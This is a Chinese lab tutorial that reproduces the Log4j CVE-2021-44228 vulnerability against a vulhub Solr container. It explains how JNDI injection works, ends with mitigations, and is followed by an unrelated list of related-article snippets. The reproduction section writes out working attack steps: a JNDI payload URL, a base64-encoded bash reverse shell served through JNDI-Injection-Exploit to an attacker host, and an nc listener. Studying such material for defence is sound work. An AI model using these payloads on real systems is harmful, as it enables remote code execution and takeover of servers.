vulhub復現CVE-2021-44228log4j漏洞

目錄

一:漏洞概述

二:漏洞原理

三:漏洞利用

lookup功能:

JNDI解析器:

ldap服務:

RMI:

四:漏洞復現

4.1靶場

4.2dnslog測試

4.3部署jndi-injection-exploit

4.4打開監聽端口

4.5觸發請求,請求內容為惡意class文件

五、解決方法:


一:漏洞概述

Log4j漏洞是由于Log4j 2在處理日志消息中的JNDI(Java Naming and Directory Interface)查找時存在的不安全實現而引發的。攻擊者可以通過特制的日志消息利用此漏洞,從而使Log4j在處理日志消息時,連接到惡意的LDAP服務器并執行任意代碼。


二:漏洞原理

攻擊者構造payload,在JNDI接口lookup查詢進行注入,payload為${jndi:ldap:惡意url/poc},JNDI會去對應的服務(如LDAP、RMI、DNS、文件系統、目錄服務…本例為ldap)查找資源,由于lookup的出棧沒做限制,最終指向了攻擊者部署好的惡意站點,下載了遠程的惡意class,最終造成了遠程代碼執行rce。

log4j2框架下的lookup查詢服務提供了{}字段解析功能,傳進去的值會被直接解析。例如${java:version}會被替換為對應的java版本。這樣如果不對lookup的出棧進行限制,就有可能讓查詢指向任何服務(可能是攻擊者部署好的惡意代碼)。

攻擊者可以利用這一點進行JNDI注入,使得受害者請求遠程服務來鏈接本地對象,在lookup的{}里面構造payload,調用JNDI服務(LDAP)向攻擊者提前部署好的惡意站點獲取惡意的.class對象,造成了遠程代碼執行(可反彈shell到指定服務器)。


三:漏洞利用

攻擊者利用該漏洞的步驟如下:

  1. 構造惡意日志消息:攻擊者創建一個包含JNDI查找請求的特制字符串,例如${jndi:ldap://attacker.com/a}。
  2. 日志記錄:該字符串被應用程序記錄到日志中。
  3. JNDI查找:Log4j在處理這條日志消息時,會解析JNDI查找請求并嘗試連接到指定的LDAP服務器。
  4. 惡意代碼執行:如果LDAP服務器返回一個惡意的Java類,Log4j將加載并執行該類中的代碼,從而使攻擊者能夠在目標系統上執行任意代碼。

lookup功能:

  • Lookup 是一種查找機制,用于動態獲取和替換日志記錄中的變量或屬性的值。它提供了一種靈活的方式,可以在日志消息中引用、解析和插入各種上下文相關的信息。
  • log4j中除了sys解析器外,還有很多其他類型的解析器。其中,jndi 解析器就是本次漏洞的源頭

JNDI解析器:

  • JND全稱為Java命名和目錄接口,提供了命名服務和目錄服務,允許從指定的遠程服務器獲取并加載對象,JNDI注入攻擊時常用的就是通過RMI和LDAP兩種服務。

  • 正常的包含jndi的日志記錄方式如下:

  • logger.info("system propety: ${jndi:schema://url}");

  • log4j2框架下的lookup查詢服務提供了{}字段解析功能,傳進去的值會被直接解析。例如${java:version}會被替換為對應的java版本。這樣如果不對lookup的出棧進行限制,就有可能讓查詢指向任何服務(可能是攻擊者部署好的惡意代碼)。

  • jdk將從url指定的路徑下載一段字節流,并將其反序列化為Java對象,作為jndi返回。反序列化過程中,即會執行字節流中包含的程序。

  • 攻擊者如何控制服務器上記錄的日志內容呢?

  • 大部分web服務程序都會對用戶輸入進行日志記錄。例如:用戶訪問了哪些url,有哪些關鍵的輸入等,都會被作為參數送到log4j中,我們在這些地方寫上?${jndi:ldap://xxx.dnslog.cn}就可以使web服務從xxx.dnslog.cn下載字節流了。

  • ldap服務:

    LDAP(輕型目錄訪問協議)是一個開放的,中立的,工業標準的應用協議,
    通過IP協議提供訪問 控制和維護分布式信息的目錄信息。

    目錄是一個為查詢、瀏覽和搜索而優化的專業分布式數據庫,它呈樹狀結構組織數據,就好象Linux/Unix系統中的文件目錄一樣。


    RMI:

    RMI(遠程方法調用):它是一種機制,能夠讓在某個java虛擬機上的對象調用另一個Java虛擬機 的對象的方法。

四:漏洞復現

4.1靶場

靶機11.0.1.15
攻擊機/監聽機11.0.1.20

vulhub創建CVE2021-44228環境?,如果出現以下情況,且換docker加速源無用的情況下請參考(百試百靈 屢試不爽):[已解決]DockerTarBuilder永久解決鏡像docker拉取異常問題-CSDN博客

┌──(root?kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Pulling solr (vulhub/solr:8.11.0)...
ERROR: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)

?靶場容器創建成功

┌──(root?kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker-compose up -d
┌──(root?kali)-[/home/kali/vulhub-master/log4j/CVE-2021-44228]
└─# docker ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS       PORTS                                       NAMES
44d82bcf4772   vulhub/solr:8.11.0   "bash /docker-entryp…"   5 hours ago   Up 5 hours   0.0.0.0:8983->8983/tcp, :::8983->8983/tcp   cve-2021-44228_solr_1

訪問11.0.1.15:8983

4.2dnslog測試

訪問dnslog.cn,創建一個域名

我這里是mkd5k.dnslog.cn

訪問http://11.0.1.15:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.mikd5k.dnslog.cn}

刷新“refresh record”回顯說明存在漏洞,但這里添加了$(sys.java.version)但沒有顯示java版本,原因未知。

4.3部署jndi-injection-exploit

部署jndi-injection-exploit,需要jdk環境,我這里使用jdk-8u381

https://github.com/welk1n/JNDI-Injection-Exploit/releases

?編碼轉換地址

Runtime.exec Payload Generater | AresX's Blog

原命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "轉化后的bash編碼命令" -A "攻擊機/監聽機/本機"反彈shell的命令(編碼前)
bash -i >& /dev/tcp/11.0.1.20/6666 0>&1
反彈shell的命令(編碼后)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"

創建jndi服務

其中生成的鏈接后面的codebaseClass是6位隨機的,因為不希望工具生成的鏈接本身成為一種特征唄監控或攔截。服務器地址實際上就是codebase地址,相比于marshalsec中的JNDI server來說,這個工具把JNDI server和HTTP server綁定到一起,并自動啟動HTTPserver返回相應class,更自動化了。

[root@centos7 opt]# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "11.0.1.20"
[ADDRESS] >> 11.0.1.20
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4wLjEuMjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://11.0.1.20:1099/ht5juj
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/tcyijf
ldap://11.0.1.20:1389/tcyijf
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://11.0.1.20:1099/7hzekb
ldap://11.0.1.20:1389/7hzekb----------------------------Server Log----------------------------
2024-12-10 15:33:43 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2024-12-10 15:33:43 [RMISERVER]  >> Listening on 0.0.0.0:1099
2024-12-10 15:33:44 [LDAPSERVER] >> Listening on 0.0.0.0:1389

這里使用jdk1.8,所以是rmi://11.0.1.20:1099/tcyijf

4.4打開監聽端口

攻擊機/監聽機另開一個終端監聽

nc -lvnp 6666

4.5觸發請求,請求內容為惡意class文件

瀏覽器訪問http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}

監聽機成功獲取容器shell?

http://11.0.1.15:8983/solr/admin/cores?action=${jndi:rmi://11.0.1.20:1099/tcyijf}

?成功獲取shell

五、解決方法:

1.設置log4j2.formatMsgNoLookups=True。相當于直接禁止lookup查詢出棧,也就不可能請求到訪問到遠程的惡意站點。
2.對包含有"jndi:ldap://"、"jndi:rmi//"這樣字符串的請求進行攔截,即攔截JNDI語句來防止JNDI注入。
3.對系統進行合理配置,禁止不必要的業務訪問外網,配置網絡防火墻,禁止系統主動外連網絡等等。
4.升級log4j2組件到新的安全的版本。

參考:

log4j遠程代碼執行漏洞 - 假牙哥66 - 博客園

log4j2遠程代碼執行漏洞原理與漏洞復現(基于vulhub,保姆級的詳細教程)_log4j漏洞復現-CSDN博客

網絡安全最新【漏洞復現】2(1)_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客

Log4j漏洞CVE-2021-44228原理以及漏洞復現【vulhub】-CSDN博客

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/62693.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/62693.shtml
英文地址,請注明出處:http://en.pswp.cn/web/62693.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

ip地址獲取失敗啥意思?ip地址獲取失敗怎么回事

在日常的網絡使用中,我們時常依賴于穩定的IP地址來確保數據的順暢傳輸和設備的正常識別。然而,有時我們會遇到“IP地址獲取失敗”的困擾,這不僅阻礙了我們的網絡訪問,還可能帶來一系列的網絡連接問題。那么,IP地址獲取…

如何在 Android 項目中實現跨庫傳值

背景介紹 在一個復雜的 Android 項目中,我們通常會有多個庫(lib),而主應用程序(app)依賴所有這些庫。目前遇到的問題是,在這些庫中,libAd 需要獲取 libVip 的 VIP 等級狀態&#xf…

非常規使用client-go踩坑記

0x01 背景 編程者總有想偷懶的傾向。至少我的初衷時,盡量復用現有的代碼。但有時也會變得弄巧成拙。 這不,最近需要在一個Go服務里添加一個CRD的緩存等待。熟悉k8s的同學都知道,向 kube-apiserver 提交一個更新,到同一個進程中的…

OpenGL ES詳解——多個紋理實現混疊顯示

目錄 一、獲取圖片紋理數據 二、著色器編寫 1. 頂點著色器 2. 片元著色器 三、綁定和繪制紋理 1. 綁定紋理 2. 繪制紋理 四、源碼下載 一、獲取圖片紋理數據 獲取圖片紋理數據代碼如下: //獲取圖片1紋理數據 mTextureId loadTexture(mContext, R.mipmap.…

java引用相關(四大引用類型,軟引用避免oom,弱引用表,虛引用和引用隊列,可達性分析算法)

1. 什么是引用? 問題:什么是引用?Java中的引用是如何工作的? 答案: 引用 是對象的句柄,用于訪問堆內存中的對象。在Java中,引用變量實際上存儲的是對象的地址,而不是對象本身。通…

十一、容器化 vs 虛擬化-Docker

文章目錄 前言一、Docker 介紹1. 簡介2. 應用場景3. 特點4. Docker和虛擬機之間的區別5. 解決痛點1. 解決依賴兼容2. 解決操作系統環境差異3. 小結 二、Docker 架構三、工作流程五、Docker 核心組件及其工作機制1. Docker 客戶端(Docker Client)2. Docke…

linux學習筆記01 基礎命令

目錄 創建 touch 創建文件 (創建但是不打開) vi / vim 創建文件 (創建一個文件并打開) mkdir 創建文件夾 切換目錄 cd 查看 pwd 查看當前目錄完整路徑 ls 查看目錄信息 dir 查看目錄信息 ll 表示查看目標目錄下的信息 ls -a 查看當前目錄下的…

【深度學習】深刻理解多模態模型CLIP

CLIP(Contrastive Language-Image Pretraining) 是由 OpenAI 提出的一個多模態模型,旨在學習視覺和語言的聯合表示,能夠通過圖像和文本之間的對比學習來實現圖像和文本之間的緊密聯系。CLIP 模型可以通過自然語言描述理解和處理圖…

android 聊天界面鍵盤、表情切換絲滑

1、我們在聊天頁面時候,往往會遇到,鍵盤、表情、其他選擇切換時候頁面會出現掉下來再彈起問題,這是因為,我們切換時候,鍵盤異步導致內容View高度變化,頁面掉下來后,又被其他內容頂起這種很差視覺…

Nginx 緩存系統 proxy_cache詳解

系列文章目錄 提示:這里可以添加系列文章的所有文章的目錄,目錄需要自己手動添加 例如:第一章 Python 機器學習入門之pandas的使用 提示:寫完文章后,目錄可以自動生成,如何生成可參考右邊的幫助文檔 文章目…

mysql時間戳格式化yyyy-mm-dd

格式化到 年月日 # 將時間換成列名就行;當前是秒級時間戳,如果是毫秒的 / 1000即可 # SELECT FROM_UNIXTIME(1602668106666.777888999 / 1000,%Y-%m-%d) AS a; # SELECT FROM_UNIXTIME(列名 / 1000,%Y-%m-%d) AS a; SELECT FROM_UNIXTIME(1602668106.666…

PDFMathTranslate,PDF多語言翻譯,批量處理,學術論文,雙語對照(WIN/MAC)

分享一個非常實用的PDF文檔翻譯項目——PDFMathTranslate。作為一個經常逛GitHub的開發者,我總喜歡翻看各種項目附帶的論文,雖然大多時候是瞎研究,但卻樂在其中。該項目能夠完美保留公式、圖表、目錄和注釋,對于需要閱讀外文文獻的…

網絡藥理學:(待更)Alphafold3和批量分子動力學模擬(Desmond、AutoMD)

批量動力學模擬 注意全都需要在類linux平臺上進行 安裝Desmond模塊: https://github.com/Wang-Lin-boop/Schrodinger-Script 安裝AutoMD模塊: Wang-Lin-boop/CADD-Scripts: Scripts for virtual screening, cross docking and protein relax using Sc…

爬蟲基礎之代理的基本原理

在做爬蟲的過程中經常會遇到一種情況,就是爬蟲最初是正常運行、正常抓取數據的,一切看起來都是那么美好,然而一杯茶的工夫就出現了錯誤,例如 403 Forbidden,這時打開網頁一看,可能會看到“您的IP訪問頻率太…

第十七屆山東省職業院校技能大賽 中職組“網絡安全”賽項資源任務書樣題③

第十七屆山東省職業院校技能大賽 中職組“網絡安全”賽項資源任務書樣題③ 模塊A 基礎設施設置與安全加固(200分)A-1 登錄安全加固(Windows, Linux)A-2 Nginx安全策略(Linux)A-3日志監控(Windows)A-4中間件…

鯤鵬麒麟安裝Kafka-v1.1.1

因項目需要在鯤鵬麒麟服務器上安裝Kafka v1.1.1,因此這里將安裝配置過程記錄下來。 環境說明 # 查看系統相關詳細信息 [roottest kafka_2.12-1.1.1]# uname -a Linux test.novalocal 4.19.148 #1 SMP Mon Oct 5 22:04:46 EDT 2020 aarch64 aarch64 aarch64 GNU/Li…

群控系統服務端開發模式-應用開發-登錄退出發送郵件

一、登錄成功發送郵件 在根目錄下app文件夾下controller文件夾下common文件夾下&#xff0c;修改Login.php&#xff0c;代碼如下 <?php /*** 登錄退出操作* User: 龍哥三年風水* Date: 2024/10/29* Time: 15:53*/ namespace app\controller\common; use app\controller\Em…

[游戲開發] Unity中使用FlatBuffer

什么是FlatBuffer 官網&#xff1a; GitHub - google/flatbuffers: FlatBuffers: Memory Efficient Serialization LibraryFlatBuffers: Memory Efficient Serialization Library - google/flatbuffershttps://github.com/google/flatbuffers 為什么用FloatBuffer&#xff0c…

MySQL其一,概念學習,可視化軟件安裝以及增刪改查語句

目錄 MySQL 1、數據庫的概念 2、數據庫分類 3、MySQL的安裝 4、安裝過程中的問題 DataGrip的使用&#xff1a; SQLynx的使用&#xff1a; 5、編寫SQL語句 6、DDL語句 7、DML 新增數據&#xff1a; 刪除數據&#xff1a; 修改數據&#xff1a; MySQL SQL其實是一門…

05 在 Linux 使用 AXI DMA

DMA簡介 DMA 是一種采用硬件實現存儲器與存儲器之間或存儲器與外設之間直接進行高速數據傳輸的技術&#xff0c;傳輸過程無需 CPU 參與&#xff08;但是CPU需要提前配置傳輸規則&#xff09;&#xff0c;可以大大減輕 CPU 的負擔。 DMA 存儲傳輸的過程如下&#xff1a; CPU 向…